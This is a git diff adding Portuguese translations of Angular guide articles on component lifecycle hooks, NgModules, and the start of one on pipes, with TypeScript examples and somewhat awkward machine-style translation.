+Antes de prosseguir, aprenda a diferença entre o conteúdo DOM e o DOM (DOM significa Document Object Model).
+
+O conteúdo DOM define o innerHTML dos elementos da diretiva. Por outro lado, a exibição DOM é um modelo de componente, excluindo qualquer modelo HTML aninhado em uma diretiva. Para um melhor entendimento, consulte [este post no blog](http://blog.mgechev.com/2016/01/23/angular2-viewchildren-contentchildren-difference-viewproviders) .
+
+#### ngAfterContentInit
+
+`ngAfterContentInit` acionado depois que o DOM do conteúdo do componente é inicializado (carrega pela primeira vez). Esperar em `@ContentChild(ren)` é o caso de uso principal do gancho.
+
+`@ContentChild(ren)` produzem referências de elemento para o conteúdo DOM. Como tal, eles não estão disponíveis até depois do carregamento do conteúdo DOM. Daí porque `ngAfterContentInit` e sua contraparte `ngAfterContentChecked` são usados.
+
+```typescript
+import { Component, ContentChild, AfterContentInit, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>I am B.</p> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterContentInit { 
+  @ContentChild("BHeader", { read: ElementRef }) hRef: ElementRef; 
+  @ContentChild(CComponent, { read: ElementRef }) cRef: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  ngAfterContentInit() { 
+    this.renderer.setStyle(this.hRef.nativeElement, 'background-color', 'yellow') 
+ 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(0), 'background-color', 'pink'); 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(1), 'background-color', 'red'); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterContentInit Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3 #BHeader>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+```
+
+Os resultados da consulta `@ContentChild` estão disponíveis em `ngAfterContentInit` . `Renderer2` atualiza o conteúdo DOM de BComponent contendo uma tag `h3` e CComponent. Este é um exemplo comum de [projeção](https://alligator.io/angular/content-projection-angular) de [conteúdo](https://alligator.io/angular/content-projection-angular) .
+
+**Resumo: a** renderização começa com AComponent. Para terminar, AComponent deve renderizar o BComponent. BComponent projeta conteúdo aninhado em seu elemento através do elemento `<ng-content></ng-content>` . CComponent faz parte do conteúdo projetado. O conteúdo projetado termina a renderização. `ngAfterContentInit` acionado. O BComponent finaliza a renderização. AComponent finaliza a renderização. `ngAfterContentInit` não será disparado novamente.
+
+#### ngAfterContentChecked
+
+`ngAfterContentChecked` acionado após cada ciclo de detecção de alterações visando o conteúdo DOM. Isso permite que os desenvolvedores facilitem como o conteúdo DOM reage para alterar a detecção. `ngAfterContentChecked` pode disparar com freqüência e causar problemas de desempenho se for mal implementado.
+
+`ngAfterContentChecked` acionado durante os estágios de inicialização de um componente também. Ele vem logo após o `ngAfterContentInit` .
+
+```typescript
+import { Component, ContentChild, AfterContentChecked, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>I am B.</p> 
+  <button (click)="$event">CLICK</button> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterContentChecked { 
+  @ContentChild("BHeader", { read: ElementRef }) hRef: ElementRef; 
+  @ContentChild(CComponent, { read: ElementRef }) cRef: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  randomRGB(): string { 
+    return `rgb(${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)})`; 
+  } 
+ 
+  ngAfterContentChecked() { 
+    this.renderer.setStyle(this.hRef.nativeElement, 'background-color', this.randomRGB()); 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(0), 'background-color', this.randomRGB()); 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(1), 'background-color', this.randomRGB()); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterContentChecked Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3 #BHeader>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+```
+
+Isso dificilmente difere de `ngAfterContentInit` . Um mero `<button></button>` foi adicionado ao BComponent. Clicar nele causa um loop de detecção de alteração. Isso ativa o gancho, conforme indicado pela aleatorização da `background-color` de `background-color` .
+
+**Resumo: a** renderização começa com AComponent. Para terminar, AComponent deve renderizar o BComponent. BComponent projeta conteúdo aninhado em seu elemento através do elemento `<ng-content></ng-content>` . CComponent faz parte do conteúdo projetado. O conteúdo projetado termina a renderização. `ngAfterContentChecked` acionado. O BComponent finaliza a renderização. AComponent finaliza a renderização. `ngAfterContentChecked` pode disparar novamente por meio da detecção de alterações.
+
+#### ngAfterViewInit
+
+`ngAfterViewInit` acionado uma vez após o DOM da visualização terminar de inicializar. A vista sempre é carregada logo após o conteúdo. `ngAfterViewInit` aguarda em `@ViewChild(ren)` para resolver. Esses elementos são consultados dentro da mesma exibição do componente.
+
+No exemplo abaixo, o cabeçalho `h3` do BComponent é consultado. `ngAfterViewInit` executado assim que os resultados da consulta estiverem disponíveis.
+
+```typescript
+import { Component, ViewChild, AfterViewInit, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p #BStatement>I am B.</p> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterViewInit { 
+  @ViewChild("BStatement", { read: ElementRef }) pStmt: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  ngAfterViewInit() { 
+    this.renderer.setStyle(this.pStmt.nativeElement, 'background-color', 'yellow'); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterViewInit Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+```
+
+`Renderer2` altera a cor do plano de fundo do cabeçalho do BComponent. Isso indica que o elemento view foi consultado com sucesso graças ao `ngAfterViewInit` .
+
+**Resumo: a** renderização começa com AComponent. Para terminar, AComponent deve renderizar o BComponent. BComponent projeta conteúdo aninhado em seu elemento através do elemento `<ng-content></ng-content>` . CComponent faz parte do conteúdo projetado. O conteúdo projetado termina a renderização. O BComponent finaliza a renderização. `ngAfterViewInit` acionado. AComponent finaliza a renderização. `ngAfterViewInit` não será disparado novamente.
+
+#### ngAfterViewChecked
+
+`ngAfterViewChecked` acionado após qualquer ciclo de detecção de mudança que tenha como alvo a exibição do componente. O gancho `ngAfterViewChecked` permite que os desenvolvedores facilitem como a detecção de alterações afeta a visão DOM.
+
+```typescript
+import { Component, ViewChild, AfterViewChecked, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p #BStatement>I am B.</p> 
+  <button (click)="$event">CLICK</button> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterViewChecked { 
+  @ViewChild("BStatement", { read: ElementRef }) pStmt: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  randomRGB(): string { 
+    return `rgb(${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)})`; 
+  } 
+ 
+  ngAfterViewChecked() { 
+    this.renderer.setStyle(this.pStmt.nativeElement, 'background-color', this.randomRGB()); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterViewChecked Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+```
+
+**Resumo: a** renderização começa com AComponent. Para terminar, AComponent deve renderizar o BComponent. BComponent projeta conteúdo aninhado em seu elemento através do elemento `<ng-content></ng-content>` . CComponent faz parte do conteúdo projetado. O conteúdo projetado termina a renderização. O BComponent finaliza a renderização. `ngAfterViewChecked` acionado. AComponent finaliza a renderização. `ngAfterViewChecked` pode disparar novamente por meio da detecção de alterações.
+
+Clicar no elemento `<button></button>` inicia uma rodada de detecção de alterações. `ngAfterContentChecked` dispara e randomiza a `background-color` de `background-color` dos elementos consultados em cada clique de botão.
+
+#### ngOnDestroy
+
+`ngOnDestroy` acionado na remoção de um componente da view e do DOM subseqüente. Esse gancho fornece uma chance de limpar qualquer extremidade solta antes da exclusão de um componente.
+
+```typescript
+import { Directive, Component, OnDestroy } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appDestroyListener]' 
+ }) 
+ export class DestroyListenerDirective implements OnDestroy { 
+  ngOnDestroy() { 
+    console.log("Goodbye World!"); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>ngOnDestroy Example</h1> 
+  <button (click)="toggleDestroy()">TOGGLE DESTROY</button> 
+  <p appDestroyListener *ngIf="destroy">I can be destroyed!</p> 
+  ` 
+ }) 
+ export class ExampleComponent { 
+  destroy: boolean = true; 
+ 
+  toggleDestroy() { 
+    this.destroy = !this.destroy; 
+  } 
+ } 
+```
+
+**Resumo:** o botão é clicado. O membro `destroy` do ExampleComponent alterna false. A diretiva estrutural `*ngIf` avaliada como falsa. `ngOnDestroy` acionado. `*ngIf` remove seu host `<p></p>` . Esse processo é repetido várias vezes clicando no botão para alternar o `destroy` para false.
+
+#### Conclusão
+
+Lembre-se de que certas condições devem ser atendidas para cada gancho. Eles sempre serão executados em ordem um do outro independentemente. Isso torna os ganchos previsíveis o suficiente para trabalhar, mesmo que alguns não sejam executados.
+
+Com os ganchos do ciclo de vida, é fácil sincronizar a execução de uma classe. Eles permitem que os desenvolvedores rastreiem onde a detecção de alterações está ocorrendo e como o aplicativo deve reagir. Eles empacam para código que requer dependências baseadas em carga disponíveis somente depois de algum tempo.
+
+O ciclo de vida do componente caracteriza as estruturas modernas de front end. Angular apresenta o seu ciclo de vida, fornecendo os ganchos acima mencionados.
+
+## Fontes
+
+*   [Equipa Angular "Ganchos do ciclo de vida". _Google_ . Acesso em 2 de junho de 2018](https://angular.io/guide/lifecycle-hooks)
+*   [Gechev, Minko. “ViewChildren e ContentChildren in Angular”. Acesso em 2 de junho de 2018](http://blog.mgechev.com/2016/01/23/angular2-viewchildren-contentchildren-difference-viewproviders)
+
+## Recursos
+
+*   [Documentação Angular](https://angular.io/docs)
+*   [Repositório Angular GitHub](https://github.com/angular/angular)
+*   [Ganchos do Ciclo de Vida em Profundidade](https://angular.io/guide/lifecycle-hooks)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/ngmodules/index.md b/client/src/guide/portuguese/angular/ngmodules/index.md
new file mode 100644
index 0000000000..42fea9eb28
--- /dev/null
+++ b/client/src/guide/portuguese/angular/ngmodules/index.md
@@ -0,0 +1,372 @@
+---
+title: NgModules
+localeTitle: iModules
+---
+# NgModules
+
+#### Motivação
+
+Aplicativos angulares começam a partir do NgModule raiz. Angular gerencia as dependências de um aplicativo através de seu sistema de módulos composto por NgModules. Juntamente com os módulos JavaScript simples, o NgModules garante a modularidade e o encapsulamento do código.
+
+Os módulos também fornecem um nível mais alto de código de organização. Cada NgModule separa seu próprio bloco de código como a raiz. Este módulo fornece encapsulamento de cima para baixo para seu código. O bloco inteiro de código pode exportar para qualquer outro módulo. Nesse sentido, os NgModules atuam como gatekeepers para seus próprios blocos de código.
+
+Os utilitários documentados da Angular vêm de NgModules, de autoria da Angular. Nenhum utilitário está disponível, a menos que o NgModule que declara que seja incluído na raiz. Esses utilitários também devem exportar de seu módulo host para que os importadores possam usá-los. Essa forma de encapsulamento permite que o desenvolvedor produza seus próprios NgModules dentro do mesmo sistema de arquivos.
+
+Além disso, faz sentido saber por que o CLI Angular (interface de linha de comando) importa o `BrowserModule` de `@angular/core` . Isso acontece sempre que um novo aplicativo é gerado usando o comando da CLI: `ng new [name-of-app]` .
+
+Entender o ponto da implementação pode ser suficiente na maioria dos casos. No entanto, entender como a implementação se conecta à raiz é ainda melhor. Tudo acontece automaticamente importando o `BrowserModule` na raiz.
+
+#### NgModule Decorator
+
+Angular define seus módulos decorando uma classe genérica. O decorador `@NgModule` indica o propósito modular da classe para Angular. Uma classe NgModule consolida as dependências raiz acessíveis / instanciáveis ​​do escopo do módulo. 'Escopo' significa qualquer coisa originada dos metadados do módulo.
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ 
+ @NgModule({ 
+  // … metadata … 
+ }) 
+ export class AppModule { } 
+```
+
+#### Metadados NgModule
+
+A raiz gerada pela CLI NgModule inclui os seguintes campos de metadados. Esses campos fornecem configuração para o bloco de código no qual o NgModule preside.
+
+*   `declarations: []`
+*   `imports: []`
+*   `providers: []`
+*   `bootstrap: []`
+
+##### Declarações
+
+A matriz de declarações inclui todos os componentes, diretivas ou pipes hospedados por um NgModule. Eles são privados para o módulo, a menos que sejam explicitamente exportados dentro de seus metadados. Dado este caso de uso, componentes, diretivas e pipes são apelidados de 'declaráveis'. Um NgModule deve declarar um declarable uniquely. O declarável não pode declarar duas vezes em NgModules separados. Um erro é acionado de outra forma. Veja o exemplo abaixo.
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ import { TwoComponent } from './components/two.component.ts'; 
+ 
+ @NgModule({ 
+  declarations: [ TwoComponent ] 
+ }) 
+ export class TwoModule { } 
+ 
+ @NgModule({ 
+  imports: [ TwoModule ], 
+  declarations: [ TwoComponent ] 
+ }) 
+ export class OneModule { } 
+```
+
+Angular lança um erro por causa do encapsulamento do NgModule. Declarables são privados para o NgModule que os declara por padrão. Se vários NgModules precisarem de um determinado declarável, eles devem importar o NgModule declarante. Este NgModule deve então exportar o declarável desejado para que os outros NgModule possam usá-lo.
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ import { TwoComponent } from './components/two.component.ts'; 
+ 
+ @NgModule({ 
+  declarations: [ TwoComponent ], 
+  exports: [ TwoComponent ] 
+ }) 
+ export class TwoModule { } 
+ 
+ @NgModule({ 
+  imports: [ TwoModule ] // this module can now use TwoComponent 
+ }) 
+ export class OneModule { } 
+```
+
+O exemplo acima não apresentará um erro. TwoComponent foi declarado com exclusividade entre os dois NgModules. O OneModule também tem acesso ao TwoComponent, pois importa o TwoModule. O TwoModule, por sua vez, exporta o TwoComponent para uso externo.
+
+##### Importações
+
+O array de importações só aceita NgModules. Esta matriz não aceita declaráveis, serviços ou qualquer outra coisa além de outros NgModules. Importar um módulo fornece acesso ao que declarável o módulo publiciza.
+
+Isso explica por que importar o `BrowserModule` fornece acesso a vários utilitários. Cada utilitário declarável declarado no `BrowserModule` exporta de seus metadados. Ao importar o `BrowserModule` , os declaráveis ​​exportados ficam disponíveis para o NgModule de importação. Os serviços não exportam, pois não possuem o mesmo encapsulamento.
+
+##### Provedores
+
+A falta de encapsulamento de serviços pode parecer estranha, dado o encapsulamento de declaráveis. Lembre-se de que os serviços entram na matriz de provedores separados das declarações ou exportações.
+
+Quando o Angular compila, nivela a raiz do NgModule e suas importações em um módulo. Os serviços agrupam-se em uma única matriz de provedores hospedada pelo NgModule mesclado. Declaráveis ​​mantêm seu encapsulamento por meio de um conjunto de sinalizadores de tempo de compilação.
+
+Se os provedores NgModule contiverem valores de token correspondentes, o módulo raiz de importação terá precedência. Depois disso, o último NgModule importado tem precedência. Veja o próximo exemplo. Preste atenção especial ao NgModule que importa os outros dois. Reconhecer como isso afeta a precedência do serviço fornecido.
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ 
+ @NgModule({ 
+  providers: [ AwesomeService ], // 1st precedence + importing module 
+  imports: [ 
+    BModule, 
+    CModule 
+  ] 
+ }) 
+ export class AModule { } 
+ 
+ @NgModule({ 
+  providers: [ AwesomeService ]  // 3rd precedence + first import 
+ }) 
+ export class BModule { } 
+ 
+ @NgModule({ 
+  providers: [ AwesomeService ]  // 2nd precedence + last import 
+ }) 
+ export class CModule { } 
+```
+
+Instanciando AwesomeService de dentro do escopo do AModule resulta em uma instância AwesomeService como fornecida nos metadados do AModule. Se os provedores do AModule omitissem este serviço, o AwesomeService do CModule teria precedência. Assim e assim por diante, para o BModule, se os provedores do CModule omitissem o AwesomeService.
+
+##### Bootstrap
+
+A matriz de bootstrap aceita componentes. Para cada componente do Array, o Angular insere o componente como sua própria raiz do arquivo `index.html` . O NgModule raiz gerada pelo CLI de um aplicativo sempre terá esse campo.
+
+```typescript
+import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ 
+ @NgModule({ 
+  declarations: [ AppComponent ], 
+  imports: [ BrowserModule ], 
+  providers: [], 
+  bootstrap: [ AppComponent ] 
+ }) 
+ export class AppModule { } 
+```
+
+O elemento do AppComponent injetará no HTML de nível básico do aplicativo ( `index.html` ). O restante da árvore de componentes se desdobra a partir daí. O escopo do NgModule abrangente cobre toda essa árvore, além de quaisquer outros injetados a partir da matriz de inicialização. A matriz geralmente contém apenas um elemento. Esse componente representa o módulo como um único elemento e sua árvore subjacente.
+
+#### Módulos NgModules vs JavaScript
+
+Você viu os módulos Angular e JavaScript trabalhando juntos nos exemplos anteriores. As principais instruções `import..from` constituem o sistema de módulos JavaScript. Os locais de arquivo do destino de cada instrução devem exportar uma classe, variável ou função correspondente à solicitação. `import { TARGET } from './path/to/exported/target'` .
+
+Em JavaScript, os módulos são separados por arquivos. Os arquivos são importados usando a `import..from` palavras-chave mencionadas. NgModules, por outro lado, são separados por classe e decorados com `@NgModule` . E assim, muitos módulos angulares podem existir em um único arquivo. Isso não pode acontecer com JavaScript, pois um arquivo define um módulo.
+
+Concedido, as convenções dizem que cada classe decorada `@NgModule` deve ter seu próprio arquivo. Mesmo assim, saiba que os arquivos não constituem seus próprios módulos no Angular. Classes decoradas com `@NgModule` criam essa distinção.
+
+Os módulos JavaScript fornecem referências de token para os metadados `@NgModule` . Isso acontece no topo de um arquivo que hospeda uma classe NgModule. O NgModule usa esses tokens dentro de seus campos de metadados (declaráveis, importações, provedores, etc). A única razão `@NgModule` qual `@NgModule` pode decorar uma classe é porque o JavaScript a importa do topo do arquivo.
+
+```typescript
+// JavaScript module system provides tokens 
+ import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ import { AppService } from './app.service'; 
+ // Javascript module system is strict about where it imports. It can only import at the top of files. 
+ 
+ // Angular NgModule uses those tokens in its metadata settings 
+ @NgModule({ // import { NgModule } from '@angular/core'; 
+  declarations: [ 
+    AppComponent // import { AppComponent } from './app.component'; 
+  ], 
+  imports: [ 
+    BrowserModule // import { BrowserModule } from '@angular/platform-browser'; 
+  ], 
+  providers: [ 
+    AppService // import { AppService } from './app.service'; 
+  ], 
+  bootstrap: [ 
+    AppComponent // import { AppComponent } from './app.component'; 
+  ] 
+ }) 
+ export class AppModule { } 
+ // JavaScript module system exports the class. Other modules can now import AppModule. 
+```
+
+O exemplo acima não introduz nada de novo. O foco aqui é nos comentários explicando como os dois sistemas modulares trabalham juntos. O JavaScript fornece referências de token, enquanto o NgModule usa esse token para encapsular e configurar seu bloco de código subjacente.
+
+#### Módulos de recursos
+
+Aplicativos aumentam ao longo do tempo. Escalá-los corretamente requer organização de aplicativos. Um sistema sólido para isso facilitará ainda mais o desenvolvimento.
+
+Em Angular, os esquemas garantem que seções de código orientadas por objetivos permaneçam distinguíveis. Além dos esquemas do sub-NgModule, existem os próprios NgModules. Eles são um tipo de esquema também. Eles estão acima do resto na lista de esquemas excluindo o próprio aplicativo.
+
+O módulo raiz não deve ficar sozinho assim que um aplicativo começar a escalar. Os módulos de recursos incluem qualquer NgModule usado ao lado do NgModule raiz. Você pode pensar no módulo raiz como tendo o campo de metadados `bootstrap: []` . Aplicativo de recurso garante que o módulo raiz não sature excessivamente seus metadados.
+
+Os módulos de recursos isolam uma seção de código em nome de qualquer módulo de importação. Eles podem lidar com seções inteiras de aplicativos independentemente. Isso significa que ele pode ser usado em qualquer aplicativo cujo módulo raiz importe o módulo de recurso. Essa tática economiza tempo e esforço dos desenvolvedores ao longo de vários aplicativos! Ele também mantém a raiz do aplicativo, NgModule, enxuta.
+
+Na raiz NgModule de um aplicativo, adicionar o token de um módulo de recurso à matriz de `imports` da raiz faz o truque. O que quer que o módulo de recursos exporte ou forneça fica disponível para a raiz.
+
+```typescript
+// ./awesome.module.ts 
+ 
+ import { NgModule } from '@angular/core'; 
+ import { AwesomePipe } from './awesome/pipes/awesome.pipe'; 
+ import { AwesomeComponent } from './awesome/components/awesome.component'; 
+ import { AwesomeDirective } from './awesome/directives/awesome.directive'; 
+ 
+ @NgModule({ 
+  exports: [ 
+    AwesomePipe, 
+    AwesomeComponent, 
+    AwesomeDirective 
+  ] 
+  declarations: [ 
+    AwesomePipe, 
+    AwesomeComponent, 
+    AwesomeDirective 
+  ] 
+ }) 
+ export class AwesomeModule { } 
+```
+
+```typescript
+// ./app.module.ts 
+ 
+ import { AwesomeModule } from './awesome.module'; 
+ import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ 
+ @NgModule({ 
+  declarations: [ 
+    AppComponent 
+  ], 
+  imports: [ 
+    AwesomeModule, 
+    BrowserModule 
+  ], 
+  providers: [], 
+  bootstrap: [ 
+    AppComponent 
+  ] 
+ }) 
+ export class AppModule { } 
+```
+
+```typescript
+// ./app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  template: ` 
+  <!-- AwesomeDirective --> 
+  <h1 appAwesome>This element mutates as per the directive logic of appAwesome.</h1> 
+ 
+  <!-- AwesomePipe --> 
+  <p>Generic output: {{ componentData | awesome }}</p> 
+ 
+  <section> 
+    <!-- AwesomeComponent --> 
+    <app-awesome></app-awesome> 
+  </section> 
+  ` 
+ }) 
+ export class AppComponent { 
+  componentData: string = "Lots of transformable data!"; 
+ } 
+```
+
+`<app-awesome></app-awesome>` (componente), `awesome` (pipe) e `appAwesome` (diretiva) são exclusivos do AwesomeModule. Se ele não tivesse exportado esses declaráveis ​​ou o AppModule tivesse negligenciado a inclusão do AwesomeModule em suas importações, então os declaráveis ​​do AwesomeModule não seriam utilizáveis ​​pelo modelo do AppComponent. O AwesomeModule é um módulo de recurso para o NgModule AppModule raiz.
+
+A Angular fornece alguns módulos próprios que complementam a raiz em sua importação. Isso se deve a esses módulos de recursos que exportam o que eles criam.
+
+#### Métodos de módulo estático
+
+Às vezes, os módulos fornecem a opção de serem configurados com um objeto de configuração personalizado. Isso é obtido aproveitando métodos estáticos dentro da classe do módulo.
+
+Um exemplo dessa abordagem é o `RoutingModule` que fornece um `.forRoot(...)` diretamente no módulo.
+
+Para definir seu próprio método de módulo estático, adicione-o à classe de módulo usando a palavra-chave `static` . O tipo de retorno deve ser `ModuleWithProviders` .
+
+```ts
+// configureable.module.ts 
+ 
+ import { AwesomeModule } from './awesome.module'; 
+ import { ConfigureableService, CUSTOM_CONFIG_TOKEN, Config } from './configurable.service'; 
+ import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ 
+ 
+ @NgModule({ 
+  imports: [ 
+    AwesomeModule, 
+    BrowserModule 
+  ], 
+  providers: [ 
+    ConfigureableService 
+  ] 
+ }) 
+ export class ConfigureableModule { 
+  static forRoot(config: Config): ModuleWithProviders { 
+    return { 
+        ngModule: ConfigureableModule, 
+        providers: [ 
+            ConfigureableService, 
+            { 
+                provide: CUSTOM_CONFIG_TOKEN, 
+                useValue: config 
+            } 
+        ] 
+    }; 
+  } 
+ } 
+```
+
+```ts
+// configureable.service.ts 
+ 
+ import { Inject, Injectable, InjectionToken } from '@angular/core'; 
+ 
+ export const CUSTOM_CONFIG_TOKEN: InjectionToken<string> = new InjectionToken('customConfig'); 
+ 
+ export interface Config { 
+  url: string 
+ } 
+ 
+ @Injectable() 
+ export class ConfigureableService { 
+  constructor( 
+    @Inject(CUSTOM_CONFIG_TOKEN) private config: Config 
+  ) 
+ } 
+```
+
+Observe que o objeto que o `forRoot(...)` retorna é quase idêntico à configuração do `NgModule` .
+
+O `forRoot(...)` aceita um objeto de configuração customizado que o usuário pode fornecer ao importar o módulo.
+
+```ts
+imports: [ 
+  ... 
+  ConfigureableModule.forRoot({ url: 'http://localhost' }), 
+  ... 
+ ] 
+```
+
+A configuração é então fornecida usando um `InjectionToken` personalizado chamado `CUSTOM_CONFIG_TOKEN` e injetado no `ConfigureableService` . O `ConfigureableModule` deve ser importado apenas uma vez usando o método `forRoot(...)` . Isso fornece o `CUSTOM_CONFIG_TOKEN` com a configuração personalizada. Todos os outros módulos devem importar o `ConfigureableModule` sem o `forRoot(...)` .
+
+#### NgModule Exemplos from Angular
+
+Angular fornece uma variedade de módulos importáveis ​​de `@angular` . Dois dos módulos mais comumente importados são `CommonModule` e `HttpClientModule` .
+
+`CommonModule` é na verdade um subconjunto do `BrowserModule` . Ambos fornecem acesso às diretivas estruturais `*ngIf` e `*ngFor` . `BrowserModule` inclui uma instalação específica da plataforma para o navegador da web. `CommonModule` omite esta instalação. O `BrowserModule` deve importar para o NgModule raiz de um aplicativo da web. `CommonModule` fornece `*ngIf` e `*ngFor` para módulos de recursos que não exigem uma instalação de plataforma.
+
+`HttpClientModule` fornece o serviço `HttpClient` . Lembre-se de que os serviços vão na matriz de provedores dos metadados `@NgModule` . Eles não são declaráveis. Durante a compilação, cada NgModule é consolidado em um único módulo. Os serviços não são encapsulados ao contrário de declaráveis. Eles são todos instanciáveis ​​através do injetor de raiz localizado ao lado do NgModule mesclado.
+
+De volta ao ponto Como qualquer outro serviço, o `HttpClient` instancia em uma classe através de seu construtor via injeção de dependência (DI). Usando DI, o injetor de raiz injeta uma instância de `HttpClient` no construtor. Este serviço permite que os desenvolvedores façam solicitações HTTP com a implementação do serviço.
+
+A implementação do `HttpClient` inclui na matriz de provedores `HttpClientModule` . Contanto que o root NgModule importe o `HttpClientModule` , o `HttpClient` irá instanciar de dentro do escopo da raiz conforme o esperado.
+
+#### Conclusão
+
+É provável que você já tenha aproveitado os NgModules da Angular. Angular torna muito fácil lançar um módulo na matriz de importações do root NgModule. Os utilitários geralmente são exportados dos metadados do módulo importado. Daí porque seus utilitários subitamente se tornam disponíveis na importação dentro do NgModule raiz.
+
+NgModules trabalha em estreita colaboração com módulos JavaScript simples. Um fornece token enquanto um usa para configuração. Seu trabalho em equipe resulta em um sistema robusto e modular exclusivo da estrutura Angular. Ele fornece uma nova camada de organização acima de todos os outros esquemas, excluindo o aplicativo.
+
+Espero que este artigo aprofunde sua compreensão do NgModules. Angular pode alavancar ainda mais esse sistema para alguns dos casos de uso mais exóticos. Este artigo aborda o básico para que você possa aprender mais usando os links abaixo.
+
+## Fontes
+
+*   [Equipa Angular "NgModules". _Google_ . Acessado em 6 de junho de 2018.](https://angular.io/guide/ngmodules)
+*   [Koretskyi, Maxim. “Evitando confusões comuns com módulos em Angular”. _Angular em profundidade_ , 10 de agosto de 2017. Acessado em 6 de junho de 2018.](https://blog.angularindepth.com/avoiding-common-confusions-with-modules-in-angular-ada070e6891f)
+
+## Recursos
+
+*   [Documentação Angular](https://angular.io/guide)
+*   [Angular em Profundidade](https://blog.angularindepth.com)
+*   [Repositório Angular GitHub](https://github.com/angular/angular)
+*   [CLI Angular](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/pipes/index.md b/client/src/guide/portuguese/angular/pipes/index.md
new file mode 100644
index 0000000000..e0c9948440
--- /dev/null
+++ b/client/src/guide/portuguese/angular/pipes/index.md
@@ -0,0 +1,168 @@
+---
+title: Pipes
+localeTitle: Tubos
+---
+# Tubos
+
+#### Motivação
+
+Transformações de dados de saída. Eles garantem que os dados estejam em um formato desejável no momento em que são carregados na tela do usuário. Normalmente, os dados se transformam nos bastidores. Com pipes, a transformação de dados pode ocorrer no modelo HTML. Os pipes transformam os dados do modelo diretamente.
+
+Os tubos têm uma boa aparência e são convenientes. Eles ajudam a manter a classe do componente enxuta de transformações básicas. Para colocá-lo tecnicamente, os encapsulamentos encapsulam a lógica de transformação de dados.
+
+#### Transformação de Saída
+
+Conforme mencionado na seção anterior, os pipes transformam os dados inline. A sintaxe de pipes correlaciona scripts de shell. Em muitos scripts, a saída de uma parte do comando é _canalizada_ como saída para a próxima parte como entrada. Essa mesma tendência caracteriza os tubos angulares.
+
+Em Angular, existem muitas maneiras de interagir com dados no modelo HTML. Os pipes podem ser aplicados em qualquer lugar em que os dados sejam analisados ​​no HTML do modelo. Eles podem ocorrer dentro da lógica microsyntax e das interpolações de variáveis ​​innerHTML. Os canos respondem por todas as transformações sem adicionar à classe do componente.
+
